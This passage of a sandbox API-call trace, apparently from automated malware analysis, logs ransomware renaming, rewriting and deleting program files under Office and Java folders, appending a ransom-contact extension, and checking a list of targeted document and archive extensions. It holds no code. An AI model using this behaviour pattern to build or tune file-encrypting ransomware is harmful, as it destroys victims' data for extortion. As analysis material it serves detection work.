files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0229.948] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=1516608) returned 1 [0229.948] CloseHandle (hObject=0x424) returned 1 [0229.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0229.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.949] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.391] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=8809536) returned 1 [0230.391] CloseHandle (hObject=0x47c) returned 1 [0230.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0230.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[im.online@aol.com].love$")) returned 0 [0230.392] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0230.392] lstrlenW (lpString="accessibility.properties") returned 24 [0230.392] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0230.393] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=149) returned 1 [0230.393] CloseHandle (hObject=0x47c) returned 1 [0230.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0230.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0230.393] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.393] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0230.767] GetLastError () returned 0x0 [0230.767] ReadFile (in: hFile=0x47c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x95, lpOverlapped=0x0) returned 1 [0230.768] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xa0, lpOverlapped=0x0) returned 1 [0230.769] ReadFile (in: hFile=0x47c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.769] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x104, lpOverlapped=0x0) returned 1 [0230.770] SetEndOfFile (hFile=0x3c0) returned 1 [0230.770] CloseHandle (hObject=0x3c0) returned 1 [0230.771] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.771] SetEndOfFile (hFile=0x47c) returned 1 [0230.775] CloseHandle (hObject=0x47c) returned 1 [0230.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.914] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0230.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.915] lstrlenW (lpString=".doc") returned 4 [0230.915] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0230.915] lstrlenW (lpString=".docx") returned 5 [0230.915] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0230.915] lstrlenW (lpString=".pdf") returned 4 [0230.915] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0230.915] lstrlenW (lpString=".xls") returned 4 [0230.915] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0230.915] lstrlenW (lpString=".xlsx") returned 5 [0230.915] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0230.915] lstrlenW (lpString=".ppt") returned 4 [0230.915] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0230.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.915] lstrlenW (lpString=".zip") returned 4 [0230.915] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0230.915] lstrlenW (lpString=".rar") returned 4 [0230.916] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString=".bz2") returned 4 [0230.916] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString=".7z") returned 3 [0230.916] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0230.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.916] lstrlenW (lpString=".dbf") returned 4 [0230.916] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.916] lstrlenW (lpString=".1cd") returned 4 [0230.916] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.916] lstrlenW (lpString=".jpg") returned 4 [0230.916] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.916] lstrlenW (lpString=".doc") returned 4 [0230.916] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString=".docx") returned 5 [0230.916] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0230.916] lstrlenW (lpString=".pdf") returned 4 [0230.916] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString=".xls") returned 4 [0230.916] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0230.916] lstrlenW (lpString=".xlsx") returned 5 [0230.916] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0230.916] lstrlenW (lpString=".ppt") returned 4 [0230.917] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.917] lstrlenW (lpString=".zip") returned 4 [0230.917] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString=".rar") returned 4 [0230.917] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString=".bz2") returned 4 [0230.917] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString=".7z") returned 3 [0230.917] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0230.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.917] lstrlenW (lpString=".dbf") returned 4 [0230.917] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.917] lstrlenW (lpString=".1cd") returned 4 [0230.917] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0230.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0230.917] lstrlenW (lpString=".jpg") returned 4 [0230.917] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0230.917] lstrcmpiW (lpString1=".pf", lpString2=".love$") returned 1 [0230.917] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0230.917] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0230.918] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=51236) returned 1 [0230.918] CloseHandle (hObject=0x484) returned 1 [0230.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0230.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0230.919] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.919] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.919] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0230.930] GetLastError () returned 0x0 [0230.930] ReadFile (in: hFile=0x484, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xc824, lpOverlapped=0x0) returned 1 [0230.974] WriteFile (in: hFile=0x48c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xc830, lpOverlapped=0x0) returned 1 [0230.976] ReadFile (in: hFile=0x484, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.976] WriteFile (in: hFile=0x48c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe6, lpOverlapped=0x0) returned 1 [0230.976] SetEndOfFile (hFile=0x48c) returned 1 [0230.976] CloseHandle (hObject=0x48c) returned 1 [0230.977] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.977] SetEndOfFile (hFile=0x484) returned 1 [0230.981] CloseHandle (hObject=0x484) returned 1 [0230.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0230.981] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0230.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.982] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.982] lstrlenW (lpString=".doc") returned 4 [0230.982] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0230.982] lstrlenW (lpString=".docx") returned 5 [0230.982] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0230.982] lstrlenW (lpString=".pdf") returned 4 [0230.982] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0230.982] lstrlenW (lpString=".xls") returned 4 [0230.982] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString=".xlsx") returned 5 [0230.983] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0230.983] lstrlenW (lpString=".ppt") returned 4 [0230.983] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString=".zip") returned 4 [0230.983] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString=".rar") returned 4 [0230.983] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString=".bz2") returned 4 [0230.983] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString=".7z") returned 3 [0230.983] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString=".dbf") returned 4 [0230.983] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString=".1cd") returned 4 [0230.983] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString=".jpg") returned 4 [0230.983] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.983] lstrlenW (lpString=".doc") returned 4 [0230.983] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0230.983] lstrlenW (lpString=".docx") returned 5 [0230.984] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0230.984] lstrlenW (lpString=".pdf") returned 4 [0230.984] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString=".xls") returned 4 [0230.984] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString=".xlsx") returned 5 [0230.984] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0230.984] lstrlenW (lpString=".ppt") returned 4 [0230.984] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.984] lstrlenW (lpString=".zip") returned 4 [0230.984] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString=".rar") returned 4 [0230.984] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString=".bz2") returned 4 [0230.984] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString=".7z") returned 3 [0230.984] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0230.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.984] lstrlenW (lpString=".dbf") returned 4 [0230.984] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.984] lstrlenW (lpString=".1cd") returned 4 [0230.984] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0230.984] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0230.984] lstrlenW (lpString=".jpg") returned 4 [0230.984] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0230.985] lstrcmpiW (lpString1=".pf", lpString2=".love$") returned 1 [0230.985] lstrlenW (lpString="PYCC.pf") returned 7 [0230.985] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0230.985] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=274474) returned 1 [0230.985] CloseHandle (hObject=0x484) returned 1 [0230.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0230.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0230.986] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.986] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.986] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0230.987] GetLastError () returned 0x0 [0230.987] ReadFile (in: hFile=0x484, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4302a, lpOverlapped=0x0) returned 1 [0231.327] WriteFile (in: hFile=0x48c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x43030, lpOverlapped=0x0) returned 1 [0231.335] ReadFile (in: hFile=0x484, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.335] WriteFile (in: hFile=0x48c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe2, lpOverlapped=0x0) returned 1 [0231.335] SetEndOfFile (hFile=0x48c) returned 1 [0231.336] CloseHandle (hObject=0x48c) returned 1 [0231.336] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.336] SetEndOfFile (hFile=0x484) returned 1 [0231.363] CloseHandle (hObject=0x484) returned 1 [0231.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0231.370] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0231.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.371] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.371] lstrlenW (lpString=".doc") returned 4 [0231.371] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0231.371] lstrlenW (lpString=".docx") returned 5 [0231.371] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0231.371] lstrlenW (lpString=".pdf") returned 4 [0231.371] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0231.371] lstrlenW (lpString=".xls") returned 4 [0231.371] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0231.371] lstrlenW (lpString=".xlsx") returned 5 [0231.371] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0231.371] lstrlenW (lpString=".ppt") returned 4 [0231.372] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString=".zip") returned 4 [0231.372] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString=".rar") returned 4 [0231.372] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString=".bz2") returned 4 [0231.372] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString=".7z") returned 3 [0231.372] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0231.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString=".dbf") returned 4 [0231.372] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0231.372] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0231.372] lstrlenW (lpString=".1cd") returned 4 [0231.372] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0231.372] 